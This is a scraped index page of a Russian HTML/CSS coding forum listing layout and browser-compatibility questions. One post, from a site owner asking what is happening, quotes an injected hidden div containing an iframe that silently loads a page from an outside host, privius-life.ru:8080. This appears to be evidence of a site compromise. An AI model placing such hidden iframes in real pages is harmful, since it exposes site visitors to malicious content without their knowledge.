HTML Coding
Subforums
-
- 30.1k
- posts
-
- 1k
- posts
-
- Про макеты
- By klierik,
Explore Questions
There are no popular questions to show right now
-
0 votes0 answers
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes3 answers
29542 questions in this forum
-
input, border-radius & pie
Добрый день. Задача: нарисовать input с закругленными углами. Проблемы собсно с этим никакой нет, только вот ie7 и ie8 как то странно его рисуют: "съедают" нижний border, не могу понять в чем дело В коде ничего интересного нет: border-radius: 19px; -moz-border-radius: 19px; -webkit-border-radius: 19px; -khtml-border-radius: 19px; behavior:url('css/PIE.htc'); В итоге видим - http://pikucha.ru/i6K0H Если приглядеться, то можно увидеть, что background инпута сверху имеет отступ в 1px. Как поправить ? Заранее спасибо!
0 votes4 answers -
Разметка формы обратной связи
Пример кода http://jsfiddle.net/FkWuR/ Никак не могу справится с разметкой. чуствую изначально пошел не в ту сторону, а теперь глаз замылился, вот и туплю. В идеале должно быть так: В Хроме 16, IE 8, Opera8.54 отображается примерно так как хочется. В ИЕ7 все идет столбиком. В FF поле E-mail сползает вниз. Андроидный браузер переносит поле Тема на новую строку... HTML <div class="feedback"> <form class="content2" method="post" action="index.php?id=8"> <input name="formid" value="feedbackForm" type="hidden"> <p><label accesskey="n">Имя*<input name="Name" size="20" maxlength="60" type="text"></label></p> <p><…
0 votes6 answers -
склеить div слои по вертикали, чтобы при масштабировании они не меняли положения
Имеется слой shapka(на нем сверху еще три слоя): .shapka{ HEIGHT:176px; width: 940px; top: 30px; position: relative; margin:0 auto; background-color:#224179; } .risunka{position:relative; z-index:1; background-color:#224179; padding: 3px; float: left; height: 170px; } .zagolovok{ position:relative; top:-150; left:25; z-index:2; color:#FFFFFF; text-shadow: black 1px 1px 6px, red 0 0 50px; font-size:50px; float: left; /* Обтекание по правому краю */ width: 600px; text-align: right; } .registration{ padding: 5px; /* Поля вокруг текста */ width: 220px; float: right; position:relative; top:-150; z-index:3; right: 25; vertic…
0 votes1 answer -
Помощь в ссылках
Доброго времени суток. Я только начинаю более углубленно изучать html и css. При первом написание сайта, столкнулся с проблемой ссылок. Дело в том, что у меня меню представляет собой таблицу с текстом (текст является ссылками) <div id="menu"> <ul> <li><a href="#" title="">О нас</a></li> <li><a href="#" title="">Новости</a></li> <li><a href="#" title="">Island-Twitter</a></li> <li><a href="#" title="">Island-VK.com</a></li> <li><a href="#" title="">кнопочка</a></li> </ul> </div> В css, при наведении на них мышко…
0 votes5 answers -
разница cler:both
скажите, в чем принципиальная разница между этими двумя способами? <div style="clear:both"></div> и Код HTML 1 <div class="clear"></div> Код CSS 1 .clear {clear:both; content:""; display:block; height:0; font-size:0; visibility:hidden;} кроме длины записи и наличием ненужных правил
0 votes8 answers -
Помогите!Что мне делать?
Проблема в том что сделал я себе галерею думал будет все хорошо но не судьба! Вот сама галерея http://gta5-fun.narod.ru/galery/galery.html Проблема в том что с низу странице пустое место (видно на скрине)оно не убирается
0 votes12 answers -
Оформление блока графика работы
Доброго времени суток. Очень нужен ваш совет, по оформелнию, прикрепила картинку примера Есть расписание работы, по картинке видно, что полоски по длине меняются относительно друг друга (установленного времени) Не могу определиться с методом, который использовать, сперва хотела сделать slider, но через jQuery UI Slider выйдет как-то громоздко... Есть ли метод проще или можно сделать это чисто с помощью стилей? Спасибо.
0 votes2 answers -
Высота таблиц в опере
Если в параметрах таблицы или ее стиле задать таблице высоту 100% то опера ровняет высоту по контенту и никакие уговоры не помогают. есть ли выход?
0 votes1 answer -
IE игнорирует CSS - как его завалить?
Фрагмент кода: <head> <style> #left_menu {font-size:120%; font-weight:normal; line-height:2em; padding-left:50px} #left_menu top {background:url(images/str_black.gif) left top no-repeat; padding-left:20px; font-weight:600} </style> </head> <body> <table width="291" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="left_menu"> <top><a href="/МЕНЮ1">МЕНЮ1</a></top> <ul> <li><a href="/подменю1">подменю1</a></li> <li><a href="/подменю2">подменю2</a></li> <li><a href="/подменю3">подменю3</a></li> </ul> </td> &l…
0 votes4 answers -
как подключить IE PNG Alpha Fix
отсюда http://vengard/iepngfix/iepngfix.html
0 votes6 answers -
max-width - проблемы
Есть вёрстка <div id="header"> <div class="logoheader">blablalba</div> <div class="emblemsHeader">blablabla</div> <div class="textHeader">blablabla</div> </div> Есть CSS #header { height: 155px; margin-bottom: 17px; max-width: 1150px; position: relative; top: 17px; } .logoheader { float: left; margin: 0 !important; position: relative; width: 277px; z-index: 1; } .emblemsHeader { float: left; height: 153px; margin-left: -30px; overflow: hidden; position: relative; width: 129px; z-index: 0; } .textHeader { float: left; max-width: 773px; …
0 votes5 answers -
Первая колонка таблицы "едет" в IE
Первая колонка во всех браузерах узкая с маленькими буквами, а в IE нет. Сверил со справочником, все стили в IE должны работать. <style> #plan td { width: 32px; background-image: none; background-repeat: no-repeat; height: 32px; border: 1px; border-style: solid; border-color: black; vertical-align: top; } #plan tbody td:first-child { width: 5px; background-image: none; border: none; font-size: 6pt; text-align: center; padding-top: 10px; } #plan thead td:first-child { width: 5px; background-image: none; border: none; font-size: 12pt; } #plan { background-image: none; float: left; BORDER-COLLAPSE:collapse; cellpadding: 0; cellspacing: 0; } #plan a{ position: absolu…
0 votes9 answers -
Проблема с понимание работы margin
Здравствуйте.Не могу понять поведения боксовой модели.Ниже код <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Тест</title> <style type="text/css"> #box1 { margin:0 auto; width:800px; height:100px; background-color:#F00; } #box2 { margin-top:10px; width:100px; background-color:#0F0; height:100px; } </style> </head> <body> <div id="box1"> <div id="box2"> </div> </div> </body> </html> Т.е. у меня есть родительский див с фиксировано высотой и шириной и дочерний.Не понимаю - почему при объявлении свойства m…
0 votes6 answers -
Для мастеров блочной вёрстки
Задача - сверстать следующий тулбар (серый вверху рисунка). Проблема в резиновости ширины. Контент может сужаться, и когда элементам "не хватает места", при блочной вёрстке они перескакивают на следующую строку. Необходимо, чтобы элементы оставались в одной строке, а при сжатии окна, если по ширине им места не хватает, то появлялась бы горизонтальная полоса прокрутки у окна браузера. Фактически, задача - с помощью блочной вёрстки точно симулировать табличную вёрстку, как если бы тулбар был рядом таблицы. Элементы с переменной шириной (извините, неверно написал на рисунке) указаны, у остальных можно считать, что ширина фиксирована. ЗЫ: я в итоге бросил эту затею и све…
0 votes9 answers -
Проблема с позиционированием блока относительно родителья
Всем привет. При верстке возникла проблема. В header е есть ссылка при ховере на котором появляется выпадашка. У ссылки и выпадашки есть блок-родитель. Выпадашка отпозиционирован absolute ом относительно родителя. Внутри выпашдашки 3 пункта. В каждом пункте-ссылке есть теги i и spam для FA иконки и текста. Проблема в том, что при позиционирование блока смещением на право, после left: 154px текст автоматически переноситься на следующую строку. Вот фиддл. Никак не могу отловить в чем моя ошибка и как решить его. Спасибо заранее!
0 votes5 answers -
Slick slider нужна помощь?
Ребят, есть вот такой вертикальный слайдер сделанный на Slick. Проблема в том, что высота нашей пагинации ограничена. Например у нас сейчас есть пять слайдов, в пагинацию помещается только 4. То-есть если мы пролистываем до пятого слайда, в пагинации это не отображается, она остается на месте. Можно как-то сделать, чтобы когда мы переключали слайдер на пятый слайд, пагинация тоже делал слайд и переключалась.
1 vote2 answers -
Скорость сайта и регистратор домена
Влияет ли расположение регистратора доменного имени на скорость сайта? Допустим я зарегистрирую сайтик.com на отечественном сервисе и на зарубежном - будет ли реальная разница во времени доступа к сайту или нет(ничтожно мала разница?)?
0 votes2 answers -
Появление нового блока при большом разрешении
Дано: резиновый сайт, скелет сверстан на таблице. Надо: при разрешении 1280 и выше по горизонтали показывать справа дополнительный блок с банерами. Придумал решение на js, проверяю document.body.offsetWidth и скрываю или показываю этот столбец (по умолчанию он скрыт). В принципе работает, только страница при загрузке скачет (сначала разворачивается, потом после загрузки графики схлопывается и появляется баннер). Можно ли другим способом сделать задуманное?
0 votes2 answers -
table 100% в блочной верстке
Здравствуйте, столкнулся с такой проблемой: имеется верстка такого вида —————————————————————-- | | | | | | | | | | | | float:left; | ширина не задана | float: right; | ширина: | | ширина: | фиксир. | | фиксир. | | | | | | | —————————————————————-- При вставке в центральную часть <table width="100%"> <tr> .... some code.... </tr> </table> Таблица уходит под левую часть. как исправить? CSS: /* CSS Document */ *{margin:0px; padding:0px;} img{border:none;} img.png{behavior:url("png.htc");} html{ height:100%; } body{ height:100%; font-family:"Tahoma"; font-size:11px; color:#000; background:url(../images/texture.jpg); } body a{ color…
0 votes1 answer -
Проблемы с тегом в IE
Информация для клиентов(к примеру) В этом случае Opera показывает кнопку и переходит по ссылке, но IE7 показывает кнопку, а переходить по ссылке отказывается. Как заставить его понимать?
0 votes2 answers -
Свой курсор
Можно ли в стилях указать свой курсор, который нарисован в файле формата .cur?
0 votes1 answer -
Цвет текста в заблокированной кнопке.
Есть копка отправки формы, input=submit. В стиле кнопки прописан цвет текста: color: black; Если кнопку заблокировать - поставить параметр disabled, то цвет кнопки станет серым. Но это только в IE. В FF остаётся чёрным. Как сделать, чтобы при блокировке кнопки, цвет текста становился серым и в FF и в др. браузерах?
0 votes1 answer -
Прошу совета, на серваке в штмл файлах появляется бог знает что...
С завидной регулярностью в HTML коде появляется вот такая ересь: <body id="page5"><div style="display:none">lazwlewufzhcycdvamfcxprsyoqvljy<iframe width=130 height=658 src="http://privius-life.ru:8080/index.php" ></iframe></div> хотя я сам лично пишу только вот это: <body id="page5"> Что это такое и откуда оно берется??? И самое главное как с этим бороться??? И самое интересное что эта ерунда появляется во всех файлах штмл.
0 votes8 answers -
overflow: hidden и position: relative
Добрый день уважаемые форумчане, собственно столкнулся с проблемой, только с IE 8 вот ссылка h++p://esh-te.ru/ на сайт где видно, что в IE 8 блок с картинками раздвигается и 4-ая картинка спускается вниз. В других браузерах все в порядке. Подскажите пожалуйста в чем может быть проблема? почитал и попробовал разные варианты с overflow: hidden и position: relative нечего не получается
0 votes3 answers -
Стили HTML и CSS кода
Какие бывают стили HTML и CSS кода? И может быть существует специальная программа для преобразования обычного кода в читабельный?
0 votes5 answers